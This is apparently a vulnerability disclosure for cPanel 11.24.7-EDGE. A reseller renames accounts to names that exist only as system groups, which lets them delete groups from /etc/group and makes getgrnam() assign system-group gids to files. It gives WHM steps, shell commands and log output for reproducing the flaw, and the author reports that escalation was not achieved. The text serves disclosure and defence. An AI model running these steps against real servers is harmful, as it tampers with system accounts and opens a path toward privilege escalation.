cPanel 11.24.7-EDGE_35784 - fun with getgrnam()
DESCRIPTION
Resellers with edit-account privileges could remove certain groups from /etc/group.
11.24.7-EDGE_35784 CentOS release 5.3 (Final)
A reseller could rename the username of one of their accounts to the name of a group in /etc/group which exists only as a group (i.e. does not have a corresponding user account). Examples of these groups are:
[user@host ~]$ for x in `cut -d : -f 1 /etc/group` ; do id $x 2>&1 | grep 'No such user' | cut -d : -f 2 ; done sys tty disk mem kmem wheel man dip lock users floppy utmp screen utempter slocate mailtrap compiler
1. Log into WHM as a reseller
2. Click "Modify an Account"
3. Rename a user to: man
* Observe the /etc/group entries for "man":
[root@host ~]# grep ^man: /etc/group man:x:15: man:x:740:
Fortunately the new "man" user still has the same gid that they held previously, which, in this case, is 740. As such, they are not in the "man" group that holds a gid of 15. A few things that can be done with this:
A. When the "man" user account is again renamed, this will affect the original "man" entry in /etc/group. In this example, the user was renamed to "man1", which effectively removed the original entry:
[root@host ~]# grep ^man /etc/group man1:x:15: man1:x:740:
B. When the "man" user account is terminated, both entries will be removed from /etc/group:
==> /var/log/secure <== May 8 14:26:27 host grpck[15994]: delete group line `man:x:15:' May 8 14:26:27 host grpck[15994]: delete shadow line `man:!::' May 8 14:26:27 host usermod[15998]: change user `man' GID from `740' to `740' May 8 14:26:27 host userdel[16024]: delete user `man' May 8 14:26:27 host userdel[16024]: removed group `man' owned by `man'
[root@host ~]# grep ^man: /etc/group
[root@host ~]#
C. Privilege escalation possibilities. I don't doubt that it's possible, but figuring out how isn't something I have the desire to spend more time on. This bug makes calls to getgrnam() unsafe, when the value of the username is passed to it. For example:
[root@host ~]# grep ^man: /etc/group man:x:15: man:x:744:
[root@host ~]# id man uid=747(man) gid=744(man) groups=744(man)
NOT SAFE
[root@host ~]# perl -e '$x = getgrnam(man); print "$x\n";' 15
So, it appears that any calls to getgrnam() which are passed the name of the user "man" will still return "15", as expected.
An example of this can be found in the /scripts/setupfp5 script:
[root@host ~]# grep -n getgrnam /scripts/setupfp5 | grep user 446: my $usergid = ( getgrnam($user) )[2];
When the "man" user logs into cPanel and adds FrontPage extensions to their account via the "Install Extensions" button, we can see that the configuration files are assigned the gid of the original "man" group:
* 'ls' shows "man" as the group..
[root@host ~]# ls -al /usr/local/apache/conf/sites/ total 16 drwx--x--x 2 root wheel 4096 May 8 15:08 ./ drwxr-xr-x 8 root root 4096 May 8 15:07 ../ -rw-r----- 1 root man 269 May 8 15:08 example.com.conf -rw-r----- 1 root man 281 May 8 15:08 www.example.com.conf
* but is the gid '15' or '744'?
[root@host ~]# stat /usr/local/apache/conf/sites/* | grep Gid: Access: (0640/-rw-r-----) Uid: ( 0/ root) Gid: ( 15/ man) Access: (0640/-rw-r-----) Uid: ( 0/ root) Gid: ( 15/ man)
* It is in fact the gid of the "man" group :-) Note that this example only serves to show how calls to getgrnam() are affected. There's nothing actually useful that can be done with this particular example as far as I can tell.
Here's another useless example showing how we can change the gid of the "man" user's ~/public_ftp directory:
[man@host ~]$ stat ~/public_ftp | grep Gid: Access: (0755/drwxr-xr-x) Uid: ( 747/ man) Gid: ( 744/ man)
[man@host ~]$ /usr/local/cpanel/bin/ftpwrap QUOTA 0 0 Updating man:ftp....Done
[man@host ~]$ stat ~/public_ftp | grep Gid: Access: (0755/drwxr-xr-x) Uid: ( 747/ man) Gid: ( 15/ man)
This also works if ~/public_ftp is removed (or renamed) and recreated as a file. Fortunately, the sgid bit is removed before the new group ownership is assigned (which is a security feature in coreutils if I remember right) since this is just a regular file:
[man@host ~]$ rm -rf public_ftp/ [man@host ~]$ touch public_ftp [man@host ~]$ chmod 2755 public_ftp [man@host ~]$ ls -l public_ftp -rwxr-sr-x 1 man man 0 May 8 15:15 public_ftp* [man@host ~]$ /usr/local/cpanel/bin/ftpwrap QUOTA 0 0 (error output here) [man@host ~]$ ls -l public_ftp -rwxr-xr-x 1 man man 0 May 8 15:15 public_ftp*
This doesn't hold true for directories though:
[man@host ~]$ mkdir public_ftp [man@host ~]$ chmod 2755 public_ftp [man@host ~]$ /usr/local/cpanel/bin/ftpwrap QUOTA 0 0 Updating man:ftp....Done [man@host ~]$ ls -l | grep public_ftp drwxr-sr-x 2 man man 4096 May 8 15:24 public_ftp/ [man@host ~]$ stat public_ftp | grep Gid: Access: (2755/drwxr-sr-x) Uid: ( 747/ man) Gid: ( 15/ man)
So, any files placed into that directory will automatically be assigned the gid of 15:
[man@host ~]$ touch public_ftp/test ; stat public_ftp/test | grep Gid: Access: (0644/-rw-r--r--) Uid: ( 747/ man) Gid: ( 15/ man)
but that still doesn't allow us to create a sgid shell inside ~/public_ftp since we can't chown the shell to the necessary perms (e.g., 2755).
IMPACT
Resellers could remove groups from the system. They could also create files with a gid of a specific group. They could influence getgrnam() in certain ways. The potential for privilege escalation exists.